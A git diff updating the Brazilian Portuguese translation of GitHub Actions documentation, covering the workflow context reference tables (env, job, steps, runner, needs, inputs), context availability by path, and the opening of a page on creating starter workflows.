+| `github.repository` | `string` | O nome do proprietário e do repositório. Por exemplo, `Codertocat/Hello-World`. | | `github.repository_owner` | `string` | O nome do proprietário do repositório. Por exemplo, `Codertocat`. | | `github.run_id` | `string` | {% data reusables.github-actions.run_id_description %} | | `github.run_number` | `string` | {% data reusables.github-actions.run_number_description %} | | `github.run_attempt` | `string` | O úmero único para cada tentativa de uma execução de fluxo de trabalho particular em um repositório. Este número começa em 1 para a primeira tentativa de execução do fluxo de trabalho e aumenta a cada nova execução. | | `github.server_url` | `string` | Retorna a URL do servidor do GitHub. Por exemplo: `https://github.com`. | | `github.sha` | `string` | O SHA do commit que acionou a execução do fluxo de trabalho. | | `github.token` | `string` | Um token para efetuar a autenticação em nome do aplicativo instalado no seu repositório. Isso é funcionalmente equivalente ao segredo `GITHUB_TOKEN`. Para obter mais informações, consulte "[Permissões para o GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)". | | `github.workflow` | `string` | O nome do fluxo de trabalho. Se o fluxo de trabalho não determina um `name` (nome), o valor desta propriedade é o caminho completo do arquivo do fluxo de trabalho no repositório. | | `github.workspace` | `string` | O diretório de trabalho padrão para as etapas e localidade padrão do seu repositório ao usar a ação [`checkout`](https://github.com/actions/checkout). |
 
-### `env` context
+### Contexto `env`
 
-The `env` context contains environment variables that have been set in a workflow, job, or step. For more information about setting environment variables in your workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)."
+O contexto `env` contém variáveis de ambiente que foram definidas em um fluxo de trabalho, trabalho ou etapa. Para obter mais informações sobre como configurar variáveis de ambiente em seu fluxo de trabalho, consulte "[Sintaxe do fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)".
 
-The `env` context syntax allows you to use the value of an environment variable in your workflow file. You can use the `env` context in the value of any key in a **step** except for the `id` and `uses` keys. For more information on the step syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+A sintaxe de contexto `env` permite que você use o valor de uma variável de ambiente no seu arquivo de fluxo de trabalho. Você pode usar o contexto `env` no valor de qualquer chave em uma **etapa**, exceto para as chaves `id` e `uses`. Para obter mais informações sobre a sintaxe da etapa, consulte "[Sintaxe do fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)".
 
-If you want to use the value of an environment variable inside a runner, use the runner operating system's normal method for reading environment variables.
+Se você desejar usar o valor de uma variável de ambiente dentro de um executor, use o método normal do sistema operacional do executor para ler as variáveis de ambiente.
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. |
-| `env.<env_name>` | `string` | The value of a specific environment variable. |
+| Nome da propriedade    | Tipo     | Descrição                                                                                                         |
+| ---------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
+| `env`                  | `objeto` | Esse contexto altera cada etapa em um trabalho. Você pode acessar esse contexto em qualquer etapa de um trabalho. |
+| `env.<env_name>` | `string` | O valor de uma variável de ambiente específica.                                                                   |
 
-### `job` context
+### Contexto `trabalho`
 
-The `job` context contains information about the currently running job.
+O contexto `job` (trabalho) contém informações sobre o trabalho atualmente em execução.
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. |
-| `job.container` | `object` | Information about the job's container. For more information about containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)." |
-| `job.container.id` | `string` | The id of the container. |
-| `job.container.network` | `string` | The id of the container network. The runner creates the network used by all containers in a job. |
-| `job.services` | `object` | The service containers created for a job. For more information about service containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)." |
-| `job.services.<service id>.id` | `string` | The id of the service container. |
-| `job.services.<service id>.network` | `string` | The id of the service container network. The runner creates the network used by all containers in a job. |
-| `job.services.<service id>.ports` | `object` | The exposed ports of the service container. |
-| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. |
+| Nome da propriedade                       | Tipo     | Descrição                                                                                                                                                                                                                                                                    |
+| ----------------------------------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `trabalho`                                | `objeto` | Esse contexto altera cada trabalho em uma execução de fluxo de trabalho. Você pode acessar esse contexto em qualquer etapa de um trabalho.                                                                                                                                   |
+| `job.container`                           | `objeto` | Informações sobre o contêiner do trabalho. Para obter mais informações sobre contêineres, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)".                  |
+| `job.container.id`                        | `string` | Identificação do contêiner.                                                                                                                                                                                                                                                  |
+| `job.container.network`                   | `string` | Identificação da rede do contêiner. O executor cria a rede usada por todos os contêineres em um trabalho.                                                                                                                                                                    |
+| `job.services`                            | `objeto` | Contêineres de serviços criados para um trabalho. Para obter mais informações sobre contêineres de serviço, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)". |
+| `job.services.<service id>.id`      | `string` | Identificação do contêiner de serviço.                                                                                                                                                                                                                                       |
+| `job.services.<service id>.network` | `string` | Identificação da rede do contêiner de serviço. O executor cria a rede usada por todos os contêineres em um trabalho.                                                                                                                                                         |
+| `job.services.<service id>.ports`   | `objeto` | As portas expostas do contêiner de serviço.                                                                                                                                                                                                                                  |
+| `job.status`                              | `string` | Status atual do trabalho. Possíveis valores são `success`, `failure` ou `cancelled`.                                                                                                                                                                                         |
 
-### `steps` context
+### Contexto `etapas`
 
-The `steps` context contains information about the steps in the current job that have already run.
+O contexto `steps` (etapas) contém informações sobre as etapas já executadas do trabalho atual.
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. |
-| `steps.<step id>.outputs` | `object` | The set of outputs defined for the step. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)." |
-| `steps.<step id>.conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
-| `steps.<step id>.outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
-| `steps.<step id>.outputs.<output name>` | `string` | The value of a specific output. |
+| Nome da propriedade                                 | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                    |
+| --------------------------------------------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `steps`                                             | `objeto` | Esse contexto altera cada etapa em um trabalho. Você pode acessar esse contexto em qualquer etapa de um trabalho.                                                                                                                                                                                                                                                            |
+| `steps.<step id>.outputs`                     | `objeto` | Conjunto de saídas definidas para a etapa. Para obter mais informações, consulte "[Sintaxe de metadados para o {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)".                                                                                                                                                        |
+| `steps.<step id>.conclusion`                  | `string` | O resultado de uma etapa concluída após [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) ser aplicado. Os valores possíveis são: `sucesso`, `falha`, `cancelado`ou `ignorado`. Quando ocorre uma falha na etapa de `continue-on-error`, o `resultado` será `falha`, mas a conclusão `final` será `sucesso`.     |
+| `steps.<step id>.outcome`                     | `string` | O resultado de uma etapa concluída antes de [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) ser aplicado. Os valores possíveis são: `sucesso`, `falha`, `cancelado`ou `ignorado`. Quando ocorre uma falha na etapa de `continue-on-error`, o `resultado` será `falha`, mas a conclusão `final` será `sucesso`. |
+| `steps.<step id>.outputs.<output name>` | `string` | Valor de uma saída específica.                                                                                                                                                                                                                                                                                                                                               |
 
-### `runner` context
+### Contexto do `executor`
 
-The `runner` context contains information about the runner that is executing the current job.
+O contexto do `executor` contém informações sobre o executor que está executando o trabalho atual.
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} |
-| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %}
-| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %}
-| `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} |
-| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}|
+| Nome da propriedade | Tipo     | Descrição                                                                                                                                                       |
+| ------------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `runner.name`       | `string` | {% data reusables.actions.runner-name-description %}
+| `runner.os`         | `string` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %}
+| `runner.arch`       | `string` | {% data reusables.actions.runner-arch-description %} 
+{% endif %}
+| `runner.temp`       | `string` | {% data reusables.actions.runner-temp-directory-description %}
+| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}
 
-### `needs` context
+### Contexto `needs`
 
-The `needs` context contains outputs from all jobs that are defined as a dependency of the current job. For more information on defining job dependencies, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+O contexto `needs` contém saídas de todos os trabalhos definidos como uma dependência do trabalho atual. Para obter mais informações sobre a definição de dependências de tarefas, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `needs.<job id>` | `object` | A single job that the current job depends on. |
-| `needs.<job id>.outputs` | `object` | The set of outputs of a job that the current job depends on. |
-| `needs.<job id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. |
-| `needs.<job id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
+| Nome da propriedade                                | Tipo     | Descrição                                                                                                                            |
+| -------------------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------ |
+| `needs.<job id>`                             | `objeto` | Um único trabalho do qual o trabalho atual depende.                                                                                  |
+| `needs.<job id>.outputs`                     | `objeto` | O conjunto de saídas de um trabalho do qual o trabalho atual depende.                                                                |
+| `needs.<job id>.outputs.<output name>` | `string` | O valor de uma saída específica para um trabalho do qual o trabalho atual depende.                                                   |
+| `needs.<job id>.result`                      | `string` | O resultado de um trabalho do qual depende o trabalho atual. Os valores possíveis são: `sucesso`, `falha`, `cancelado`ou `ignorado`. |
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}
-### `inputs` context
+### Contexto `entradas`
 
-The `inputs` context contains information about the inputs of reusable workflow. The inputs are defined in [`workflow_call` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events). These inputs are passed from [`jobs.<job_id>.with`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith) in an external workflow.
+O contexto `entradas` contém informações sobre as entradas do fluxo de trabalho reutilizável. As entradas são definidas na configuração do evento [`workflow_call`](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events). Essas entradas são passadas de [`jobs.<job_id>.with`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith) em um fluxo de trabalho externo.
 
-For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)".
+Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `inputs` | `object` | This context is only available when it is [a reusable workflow](/actions/learn-github-actions/reusing-workflows). |
-| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow. |
+| Nome da propriedade   | Tipo                               | Descrição                                                                                                                       |
+| --------------------- | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
+| `inputs`              | `objeto`                           | Este contexto só está disponível quando é [um fluxo de trabalho reutilizável](/actions/learn-github-actions/reusing-workflows). |
+| `inputs.<name>` | `string` ou `número` ou `booleano` | Cada valor de entrada é passado de um fluxo de trabalho externo.                                                                |
 {% endif %}
 
-#### Example printing context information to the log file
+#### Exemplo de impressão de informações de contexto no arquivo de log
 
-To inspect the information that is accessible in each context, you can use this workflow file example.
+Para inspecionar as informações acessíveis em cada contexto, você pode usar este exemplo de arquivo de fluxo de trabalho.
 
 {% data reusables.github-actions.github-context-warning %}
 
@@ -209,71 +199,68 @@ jobs:
 ```
 {% endraw %}
 
-## Context availability
+## Disponibilidade do contexto
 
-Different contexts are available throughout a workflow run. For example, the `secrets` context may only be used at certain places within a job.
+Contextos diferentes estão disponíveis durante a execução de um fluxo de trabalho. Por exemplo, o contexto de `segredos` só pode ser usado em certos lugares dentro de um trabalho.
 
-In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere.
+Além disso, algumas funções só podem ser utilizadas em determinados lugares. Por exemplo, a função `hashFiles` não está disponível em qualquer lugar.
 
-The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere.
-
-{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
-
-| Path | Context | Special functions |
-| ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github, inputs</code> | |
-| <code>env</code> | <code>github, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs, inputs</code> | <code>always, cancelled, success, failure</code> |
-| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
+A tabela a seguir indica onde cada contexto e função especial pode ser utilizado dentro de um fluxo de trabalho. A menos que esteja listado abaixo, uma função pode ser usada em qualquer lugar. |{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
+| Caminho                    | Contexto                   | Funções especiais          |
+| -------------------------- | -------------------------- | -------------------------- |
+| <code>concorrência</code>  | <code>github, entradas</code>  |                            |
+| <code>env</code>  | <code>github, segredos, entradas</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.concurrency</code>  | <code>github, necessidades, estratégia, matriz, entradas</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container</code>  | <code>github, necessidades, estratégia, matriz, entradas</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code>  | <code>github, necessidades, estratégia, matrix, env, segredos, entradas</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, necessidades, estratégia, matrix, trabalho, executor, env, segredos, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, necessidades, estratégia, matriz, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, necessidades, estratégia, matriz, env, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, necessidades, estratégia, matriz, segredos, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, necessidades, estratégia, matriz, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, etapas, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, necessidades, entradas</code> | <code>always, cancelled, success, failure</code> |
+| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, necessidades, estratégia, matriz, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, segredos, etapas, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, necessidades, estratégia, matriz, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, necessidades, segredos</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, necessidades, estratégia, matriz, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, necessidades, estratégia, matrix, env, segredos, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, necessidades, estratégia, matrix, trabalho, executor, env, segredos, entradas</code> |                            |
 | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | <code>always, cancelled, success, failure, hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.steps.name</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.steps.run</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, segredos, etapas, entradas</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, etapas, entradas</code> | <code>always, cancelled, success, failure, hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.name</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, segredos, etapas, entradas</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.run</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, segredos, etapas, entradas</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs</code> | |
-| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github</code> | |
-| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, segredos, etapas, entradas</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, necessidades, estratégia, matriz, trabalho, executor, env, segredos, etapas, entradas</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, necessidades, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, necessidades, estratégia, matriz, entradas</code> |                            |
+| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs</code> |                            |
+| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github</code> |                            |
+| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> |                            |
 {% else %}
-| Path | Context | Special functions |
-| ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github</code> | |
-| <code>env</code> | <code>github, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env</code> | |
-| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | |
-| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs</code> | <code>always, cancelled, success, failure</code> |
-| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | |
-| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
+| Caminho                     | Contexto                    | Funções especiais           |
+| --------------------------- | --------------------------- | --------------------------- |
+| <code>concorrência</code>  | <code>github</code>  |                             |
+| <code>env</code>  | <code>github, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.concurrency</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code>  | <code>github, needs, strategy, matrix, env, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code>  | <code>github, needs, strategy, matrix, job, runner, env, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code>  | <code>github, needs, strategy, matrix, env</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.env</code>  | <code>github, needs, strategy, matrix, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.environment</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.environment.url</code>  | <code>github, needs, strategy, matrix, job, runner, env, steps</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.if</code>  | <code>github, needs</code>  | <code>always, cancelled, success, failure</code>  |
+| <code>jobs.&lt;job_id&gt;.name</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> |                             |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> |                             |
 | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | <code>always, cancelled, success, failure, hashFiles</code> |
@@ -282,6 +269,6 @@ The following table indicates where each context and special function can be use
 | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> | |
-| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> | |
-{% endif %}
\ No newline at end of file
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> |                             |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> |                             |
+{% endif %}
diff --git a/translations/pt-BR/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md b/translations/pt-BR/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
index 861365c0ec..bbb89905f5 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Creating starter workflows for your organization
-shortTitle: Creating starter workflows
-intro: Learn how you can create starter workflows to help people in your team add new workflows more easily.
+title: Criando fluxos de trabalho iniciais para sua organização
+shortTitle: Criando fluxos de trabalho iniciais
+intro: Aprenda como criar fluxos de trabalho iniciais para ajudar as pessoas na sua equipe a adicionar novos fluxos de trabalho de forma mais fácil.
 redirect_from:
   - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization
   - /actions/learn-github-actions/creating-workflow-templates
@@ -19,35 +19,35 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
 {% data reusables.actions.workflow-organization-templates %}
 
-## Creating a starter workflow
+## Criando um fluxo de trabalho inicial
 
-Starter workflows can be created by users with write access to the organization's `.github` repository. These can then be used by organization members who have permission to create workflows.
+Os fluxos de trabalho iniciantes podem ser criados pelos usuários com acesso de gravação ao repositório `.github` da organização. Eles poderão ser usados pelos integrantes da organização com permissão para criar fluxos de trabalho.
 
 {% ifversion fpt %}
